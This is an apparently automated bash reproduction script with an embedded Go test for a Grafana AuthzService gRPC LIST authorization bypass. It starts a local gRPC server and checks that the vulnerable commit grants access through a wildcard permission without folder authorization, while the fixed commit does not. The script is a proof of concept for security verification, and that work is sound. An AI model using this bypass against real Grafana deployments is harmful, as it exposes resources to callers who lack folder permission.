#!/bin/bash
set -euo pipefail

# =============================================================================
# Reproduction script for Grafana IAM LIST authorization bypass over the real
# Grafana AuthzService gRPC API boundary.
#
# Ticket: url-2026-06-23-grafana-issue292
# Fixed commit: b9b897b3c512ee434341bb9d698eac24f90eca89
# Vulnerable checkout: parent of the fixed commit
# =============================================================================

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS"

cd "$ROOT"

LOGFILE="$LOGS/reproduction_steps.log"
: > "$LOGFILE"

ENTRYPOINT_KIND="api_remote"
ENTRYPOINT_DETAIL="Grafana AuthzService gRPC /authz.v1.AuthzService/List"
SERVICE_STARTED=false
HEALTHCHECK_PASSED=false
TARGET_PATH_REACHED=false
BYPASS_CONFIRMED=false
MANIFEST_WRITTEN=false
PROJECT_CACHE_DIR=""
REPO=""

write_runtime_manifest() {
  local notes="$1"
  local confirmed_json="false"
  if [ "$BYPASS_CONFIRMED" = "true" ]; then confirmed_json="true"; fi
  local service_json="false"
  if [ "$SERVICE_STARTED" = "true" ]; then service_json="true"; fi
  local health_json="false"
  if [ "$HEALTHCHECK_PASSED" = "true" ]; then health_json="true"; fi
  local target_json="false"
  if [ "$TARGET_PATH_REACHED" = "true" ]; then target_json="true"; fi

  jq -n \
    --arg entrypoint_kind "$ENTRYPOINT_KIND" \
    --arg entrypoint_detail "$ENTRYPOINT_DETAIL" \
    --arg notes "$notes" \
    --argjson service_started "$service_json" \
    --argjson healthcheck_passed "$health_json" \
    --argjson target_path_reached "$target_json" \
    '{
      entrypoint_kind: $entrypoint_kind,
      entrypoint_detail: $entrypoint_detail,
      service_started: $service_started,
      healthcheck_passed: $healthcheck_passed,
      target_path_reached: $target_path_reached,
      runtime_stack: [
        "Grafana pkg/services/authz/rbac.Service",
        "authz.v1.AuthzService gRPC server registered with authzv1.RegisterAuthzServiceServer",
        "TCP listener on 127.0.0.1",
        "gRPC client sends /authz.v1.AuthzService/List"
      ],
      proof_artifacts: [
        "logs/reproduction_steps.log",
        "logs/vuln_grpc_attempt1.log",
        "logs/vuln_grpc_attempt2.log",
        "logs/fixed_grpc_attempt1.log",
        "logs/fixed_grpc_attempt2.log",
        "repro/repro_grpc_boundary_test.go",
        "repro/reproduction_steps.sh"
      ],
      notes: $notes
    }' > "$REPRO_DIR/runtime_manifest.json"
  MANIFEST_WRITTEN=true
}

copy_proof_carry() {
  if [ -z "${PROJECT_CACHE_DIR:-}" ] || [ ! -d "$PROJECT_CACHE_DIR" ]; then
    return 0
  fi
  local attempt_dir="$PROJECT_CACHE_DIR/.pruva/proof-carry/latest_attempt"
  mkdir -p "$attempt_dir" 2>/dev/null || true
  cp "$REPRO_DIR/reproduction_steps.sh" "$attempt_dir/" 2>/dev/null || true
  cp "$REPRO_DIR/repro_grpc_boundary_test.go" "$attempt_dir/" 2>/dev/null || true
  cp "$REPRO_DIR/runtime_manifest.json" "$attempt_dir/" 2>/dev/null || true
  cp "$LOGS/reproduction_steps.log" "$attempt_dir/" 2>/dev/null || true
  cp "$LOGS"/*_grpc_attempt*.log "$attempt_dir/" 2>/dev/null || true
  if [ "$BYPASS_CONFIRMED" = "true" ]; then
    local confirmed_dir="$PROJECT_CACHE_DIR/.pruva/proof-carry/latest_confirmed"
    mkdir -p "$confirmed_dir" 2>/dev/null || true
    cp "$REPRO_DIR/reproduction_steps.sh" "$confirmed_dir/" 2>/dev/null || true
    cp "$REPRO_DIR/repro_grpc_boundary_test.go" "$confirmed_dir/" 2>/dev/null || true
    cp "$REPRO_DIR/runtime_manifest.json" "$confirmed_dir/" 2>/dev/null || true
    cp "$LOGS/reproduction_steps.log" "$confirmed_dir/" 2>/dev/null || true
    cp "$LOGS"/*_grpc_attempt*.log "$confirmed_dir/" 2>/dev/null || true
  fi
}

on_exit() {
  local status=$?
  if [ "$MANIFEST_WRITTEN" != "true" ]; then
    write_runtime_manifest "Script exited before final verdict; status=$status. See logs/reproduction_steps.log."
  fi
  copy_proof_carry || true
  return $status
}
trap on_exit EXIT

{
  echo "=== Grafana authz gRPC boundary reproduction ==="
  echo "Root: $ROOT"
  date -u '+UTC time: %Y-%m-%dT%H:%M:%SZ'
} | tee -a "$LOGFILE"

# --- Read project cache context and choose deterministic repo path ---
PREPARED="false"
REPO_MIRROR_DIR=""
if [ -f "$ROOT/project_cache_context.json" ]; then
  PROJECT_CACHE_DIR=$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)
  PREPARED=$(jq -r '.prepared // false' "$ROOT/project_cache_context.json" 2>/dev/null || echo "false")
  REPO_MIRROR_DIR=$(jq -r '.repo_mirror_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)
fi

if [ -n "$PROJECT_CACHE_DIR" ] && [ "$PREPARED" = "true" ]; then
  REPO="$PROJECT_CACHE_DIR/repo"
else
  PROJECT_CACHE_DIR="$ARTIFACTS/grafana-cache"
  REPO="$ARTIFACTS/grafana"
fi
mkdir -p "$PROJECT_CACHE_DIR"

echo "Using repo path: $REPO" | tee -a "$LOGFILE"

# --- Go toolchain setup ---
GO_TOOLCHAIN="$PROJECT_CACHE_DIR/go-toolchain/go"
if [ -x "$GO_TOOLCHAIN/bin/go" ]; then
  export GOROOT="$GO_TOOLCHAIN"
  export PATH="$GO_TOOLCHAIN/bin:$PATH"
elif command -v go >/dev/null 2>&1; then
  :
else
  echo "Go not found in cache or PATH; installing distro Go as fallback" | tee -a "$LOGFILE"
  sudo apt-get update >> "$LOGFILE" 2>&1
  sudo apt-get install -y golang-go >> "$LOGFILE" 2>&1
fi
export GOPATH="$PROJECT_CACHE_DIR/gopath"
export GOCACHE="$PROJECT_CACHE_DIR/gocache"
export GOMODCACHE="$PROJECT_CACHE_DIR/gomodcache"
mkdir -p "$GOPATH" "$GOCACHE" "$GOMODCACHE"

echo "Go version: $(go version)" | tee -a "$LOGFILE"

# --- Clone/reuse repository ---
# Grafana may be checked out as a worktree where .git is a file, not a
# directory. Use git rev-parse instead of testing -d .git so prepared caches
# are reused correctly.
if ! git -C "$REPO" rev-parse --git-dir >/dev/null 2>&1; then
  if [ -e "$REPO" ] && [ -n "$(find "$REPO" -mindepth 1 -maxdepth 1 -print -quit 2>/dev/null || true)" ]; then
    echo "ERROR: $REPO exists but is not a git checkout; refusing to clone into a non-empty directory" | tee -a "$LOGFILE"
    exit 2
  fi
  echo "Repository checkout not found; cloning grafana/grafana" | tee -a "$LOGFILE"
  rm -rf "$REPO"
  if [ -n "$REPO_MIRROR_DIR" ] && [ -d "$REPO_MIRROR_DIR/grafana.git" ]; then
    git clone "$REPO_MIRROR_DIR/grafana.git" "$REPO" >> "$LOGFILE" 2>&1
  else
    git clone https://github.com/grafana/grafana.git "$REPO" >> "$LOGFILE" 2>&1
  fi
else
  echo "Reusing existing git checkout at $REPO" | tee -a "$LOGFILE"
fi

FIXED_COMMIT="b9b897b3c512ee434341bb9d698eac24f90eca89"
git -C "$REPO" cat-file -e "$FIXED_COMMIT^{commit}" 2>/dev/null || git -C "$REPO" fetch origin "$FIXED_COMMIT" >> "$LOGFILE" 2>&1
FIXED_RESOLVED=$(git -C "$REPO" rev-parse "$FIXED_COMMIT")
VULN_COMMIT=$(git -C "$REPO" rev-parse "${FIXED_RESOLVED}^")
ORIGINAL_HEAD=$(git -C "$REPO" rev-parse HEAD 2>/dev/null || echo "")
SERVICE_FILE="pkg/services/authz/rbac/service.go"
RBAC_DIR="$REPO/pkg/services/authz/rbac"
TEST_SRC="$REPRO_DIR/repro_grpc_boundary_test.go"

{
  echo "Fixed commit: $FIXED_RESOLVED"
  echo "Vulnerable commit: $VULN_COMMIT"
} | tee -a "$LOGFILE"

# Verify fixed-commit anchoring and patch hunk presence/absence before running.
if git -C "$REPO" show "$VULN_COMMIT:$SERVICE_FILE" | grep -q 'return s.listPermissionWithFolderAuthz'; then
  echo "ERROR: vulnerable parent already contains folder-authz LIST patch hunk" | tee -a "$LOGFILE"
  exit 2
fi
if ! git -C "$REPO" show "$FIXED_RESOLVED:$SERVICE_FILE" | grep -q 'return s.listPermissionWithFolderAuthz'; then
  echo "ERROR: fixed commit does not contain expected folder-authz LIST patch hunk" | tee -a "$LOGFILE"
  exit 2
fi
echo "Patch check: vulnerable parent lacks listPermissionWithFolderAuthz fork; fixed commit contains it" | tee -a "$LOGFILE"

# --- Write the Go API-boundary test used for both commits ---
cat > "$TEST_SRC" <<'GOEOF'
package rbac

import (
	"context"
	"net"
	"strings"
	"testing"
	"time"

	"github.com/go-jose/go-jose/v4/jwt"
	"github.com/stretchr/testify/assert"
	"github.com/stretchr/testify/require"
	"google.golang.org/grpc"
	"google.golang.org/grpc/codes"
	"google.golang.org/grpc/credentials/insecure"
	"google.golang.org/grpc/metadata"
	"google.golang.org/grpc/status"

	"github.com/grafana/authlib/authn"
	authzv1 "github.com/grafana/authlib/authz/proto/v1"
	types "github.com/grafana/authlib/types"
	"github.com/grafana/grafana/pkg/services/accesscontrol"
	"github.com/grafana/grafana/pkg/services/authz/rbac/store"
)

// TestReproWildcardBypassOverGRPCBoundary starts an actual TCP gRPC AuthzService
// endpoint, registers Grafana's real rbac.Service as the AuthzService server,
// sends the attacker-controlled LIST request over that gRPC boundary, and logs
// both the client request and server-side response. It intentionally does not
// assert on resp.All so the same test binary passes on both vulnerable and
// fixed commits; reproduction_steps.sh compares the logged response values.
func TestReproWildcardBypassOverGRPCBoundary(t *testing.T) {
	const group = "widget.ext.grafana.app"
	const token = "pruva-demo-access-token"

	s := setupService()
	userID := &store.UserIdentifiers{UID: "test-uid", ID: 1}

	// User has ONLY wildcard resource permission for the folder-scoped CRD and
	// no folders:read or folder-scoped permission. The server-side folder list
	// contains a folder to prove that missing folder authorization matters.
	fStore := &fakeStore{
		userID: userID,
		userPermissions: []accesscontrol.Permission{
			{Action: group + "/widgets:get", Scope: "*", Kind: "*"},
		},
		folders:        []store.Folder{{UID: "f1"}},
		disableNsCheck: true,
	}
	s.store = fStore
	s.permissionStore = fStore
	s.folderStore = fStore
	s.identityStore = &fakeIdentityStore{disableNsCheck: true}
	s.folderCache.Set(context.Background(), folderCacheKey("org-12"), newFolderTree([]store.Folder{{UID: "f1"}}))

	_, mapperFound := s.mapper.Get(group, "widgets", "")
	t.Logf("SETUP: mapper.Get(%q,%q,%q) found=%v (false means folder-scoped CRD mapper miss)", group, "widgets", "", mapperFound)
	assert.False(t, mapperFound, "widget.ext.grafana.app/widgets must be a mapper-miss folder-scoped CRD")

	listener, err := net.Listen("tcp", "127.0.0.1:0")
	require.NoError(t, err)
	serverAddr := listener.Addr().String()

	callingService := authn.NewAccessTokenAuthInfo(authn.Claims[authn.AccessTokenClaims]{
		Claims: jwt.Claims{
			Subject:  types.NewTypeID(types.TypeAccessPolicy, "authz-caller-service"),
			Audience: []string{"authzservice"},
		},
		Rest: authn.AccessTokenClaims{Namespace: "org-12"},
	})

	unaryInterceptor := func(ctx context.Context, req any, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (any, error) {
		md, _ := metadata.FromIncomingContext(ctx)
		tokens := md.Get("x-access-token")
		if len(tokens) != 1 || tokens[0] != token {
			t.Logf("SERVER: rejected method=%s because x-access-token metadata was missing or wrong: %q", info.FullMethod, tokens)
			return nil, status.Error(codes.Unauthenticated, "missing demo auth token")
		}
		if lr, ok := req.(*authzv1.ListRequest); ok {
			t.Logf("SERVER: accepted gRPC method=%s namespace=%s subject=%s group=%s resource=%s verb=%s token_prefix=%s", info.FullMethod, lr.Namespace, lr.Subject, lr.Group, lr.Resource, lr.Verb, tokens[0][:5])
		} else {
			t.Logf("SERVER: accepted gRPC method=%s request_type=%T", info.FullMethod, req)
		}

		// Mirror Grafana's authz service setup: the server-side interceptor places
		// the authenticated caller's namespace-bearing AuthInfo into the context
		// before rbac.Service.List validates the namespace and authorizes the LIST.
		ctx = types.WithAuthInfo(ctx, callingService)
		resp, hErr := handler(ctx, req)
		if listResp, ok := resp.(*authzv1.ListResponse); ok {
			t.Logf("SERVER: completed gRPC method=%s response All=%v Folders=%v Items=%v err=%v", info.FullMethod, listResp.All, listResp.Folders, listResp.Items, hErr)
		} else {
			t.Logf("SERVER: completed gRPC method=%s response_type=%T err=%v", info.FullMethod, resp, hErr)
		}
		return resp, hErr
	}

	grpcServer := grpc.NewServer(grpc.UnaryInterceptor(unaryInterceptor))
	authzv1.RegisterAuthzServiceServer(grpcServer, s)
	serveErr := make(chan error, 1)
	go func() {
		t.Logf("SERVER: Grafana AuthzService gRPC endpoint listening on %s", serverAddr)
		serveErr <- grpcServer.Serve(listener)
	}()
	defer grpcServer.Stop()

	require.Eventually(t, func() bool {
		conn, err := net.DialTimeout("tcp", serverAddr, 100*time.Millisecond)
		if err == nil {
			_ = conn.Close()
			return true
		}
		return false
	}, 5*time.Second, 50*time.Millisecond)
	t.Logf("HEALTHCHECK: TCP connection to Grafana AuthzService endpoint %s succeeded", serverAddr)

	ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
	defer cancel()
	conn, err := grpc.DialContext(ctx, serverAddr, grpc.WithTransportCredentials(insecure.NewCredentials()), grpc.WithBlock())
	require.NoError(t, err)
	defer conn.Close()
	client := authzv1.NewAuthzServiceClient(conn)

	listReq := &authzv1.ListRequest{
		Namespace: "org-12",
		Subject:   "user:test-uid",
		Group:     group,
		Resource:  "widgets",
		Verb:      "list",
	}
	clientCtx := metadata.AppendToOutgoingContext(ctx, "x-access-token", token)
	t.Logf("CLIENT: sending LIST over gRPC /authz.v1.AuthzService/List namespace=%s subject=%s group=%s resource=%s verb=%s permission=%s scope=* no_folder_permission=true", listReq.Namespace, listReq.Subject, listReq.Group, listReq.Resource, listReq.Verb, group+"/widgets:get")
	resp, err := client.List(clientCtx, listReq)
	require.NoError(t, err)
	t.Logf("CLIENT: received ListResponse: All=%v Folders=%v Items=%v", resp.All, resp.Folders, resp.Items)

	select {
	case err := <-serveErr:
		if err != nil && !strings.Contains(err.Error(), "use of closed network connection") && !strings.Contains(err.Error(), "Server.Stop") {
			t.Fatalf("gRPC server stopped unexpectedly: %v", err)
		}
	default:
	}
}
GOEOF

gofmt -w "$TEST_SRC"

run_attempt() {
  local commit="$1"
  local label="$2"
  local attempt="$3"
  local testlog="$4"
  local resultfile="$5"

  {
    echo ""
    echo "=== $label attempt $attempt: checkout $commit ==="
  } >> "$LOGFILE"

  rm -f "$RBAC_DIR/repro_grpc_boundary_test.go"
  git -C "$REPO" checkout --detach "$commit" >> "$LOGFILE" 2>&1
  cp "$TEST_SRC" "$RBAC_DIR/repro_grpc_boundary_test.go"

  if timeout 300 go test -C "$REPO" ./pkg/services/authz/rbac -run TestReproWildcardBypassOverGRPCBoundary -v -count=1 > "$testlog" 2>&1; then
    echo "$label attempt $attempt: go test exited 0" >> "$LOGFILE"
  else
    local status=$?
    echo "$label attempt $attempt: go test failed or timed out with status $status" >> "$LOGFILE"
    cat "$testlog" >> "$LOGFILE" || true
    echo "unknown" > "$resultfile"
    return 0
  fi

  if grep -q "SERVER: Grafana AuthzService gRPC endpoint listening" "$testlog"; then SERVICE_STARTED=true; fi
  if grep -q "HEALTHCHECK: TCP connection to Grafana AuthzService endpoint" "$testlog"; then HEALTHCHECK_PASSED=true; fi
  if grep -q "SERVER: accepted gRPC method=/authz.v1.AuthzService/List" "$testlog" && grep -q "CLIENT: received ListResponse:" "$testlog"; then TARGET_PATH_REACHED=true; fi

  local all_value
  all_value=$(grep "CLIENT: received ListResponse:" "$testlog" | tail -1 | sed -E 's/.*All=([^ ]+).*/\1/' || true)
  if [ -z "$all_value" ]; then all_value="unknown"; fi
  echo "$all_value" > "$resultfile"

  {
    echo "$label attempt $attempt result: All=$all_value"
    echo "$label attempt $attempt request/response evidence:"
    grep -E "SETUP:|SERVER: Grafana AuthzService|HEALTHCHECK:|CLIENT: sending LIST|SERVER: accepted gRPC method=/authz.v1.AuthzService/List|SERVER: completed gRPC method=/authz.v1.AuthzService/List|CLIENT: received ListResponse" "$testlog" || true
  } >> "$LOGFILE"
}

V1_RESULT="$LOGS/vuln_grpc_attempt1.result"
V2_RESULT="$LOGS/vuln_grpc_attempt2.result"
F1_RESULT="$LOGS/fixed_grpc_attempt1.result"
F2_RESULT="$LOGS/fixed_grpc_attempt2.result"

run_attempt "$VULN_COMMIT" "VULNERABLE" 1 "$LOGS/vuln_grpc_attempt1.log" "$V1_RESULT"
run_attempt "$VULN_COMMIT" "VULNERABLE" 2 "$LOGS/vuln_grpc_attempt2.log" "$V2_RESULT"
run_attempt "$FIXED_RESOLVED" "FIXED" 1 "$LOGS/fixed_grpc_attempt1.log" "$F1_RESULT"
run_attempt "$FIXED_RESOLVED" "FIXED" 2 "$LOGS/fixed_grpc_attempt2.log" "$F2_RESULT"

V1=$(cat "$V1_RESULT")
V2=$(cat "$V2_RESULT")
F1=$(cat "$F1_RESULT")
F2=$(cat "$F2_RESULT")

# Restore original checkout if possible and remove injected test file.
rm -f "$RBAC_DIR/repro_grpc_boundary_test.go"
if [ -n "$ORIGINAL_HEAD" ]; then
  git -C "$REPO" checkout --detach "$ORIGINAL_HEAD" >> "$LOGFILE" 2>&1 || true
fi

{
  echo ""
  echo "=== Summary ==="
  echo "Vulnerable attempt 1 ($VULN_COMMIT): All=$V1"
  echo "Vulnerable attempt 2 ($VULN_COMMIT): All=$V2"
  echo "Fixed attempt 1 ($FIXED_RESOLVED): All=$F1"
  echo "Fixed attempt 2 ($FIXED_RESOLVED): All=$F2"
} | tee -a "$LOGFILE"

if [ "$V1" = "true" ] && [ "$V2" = "true" ] && [ "$F1" = "false" ] && [ "$F2" = "false" ] && [ "$TARGET_PATH_REACHED" = "true" ]; then
  BYPASS_CONFIRMED=true
  echo "CONFIRMED: vulnerable Grafana AuthzService gRPC LIST returns All=true across the remote API boundary, while the fixed commit returns All=false." | tee -a "$LOGFILE"
else
  echo "NOT CONFIRMED: expected vulnerable All=true twice and fixed All=false twice." | tee -a "$LOGFILE"
fi

write_runtime_manifest "Fresh current-run proof used real TCP gRPC AuthzService/List boundary. Vulnerable attempts returned All=$V1/$V2 for wildcard resource permission without folder authorization; fixed attempts returned All=$F1/$F2."
copy_proof_carry || true

if [ "$BYPASS_CONFIRMED" = "true" ]; then
  exit 0
fi
exit 1
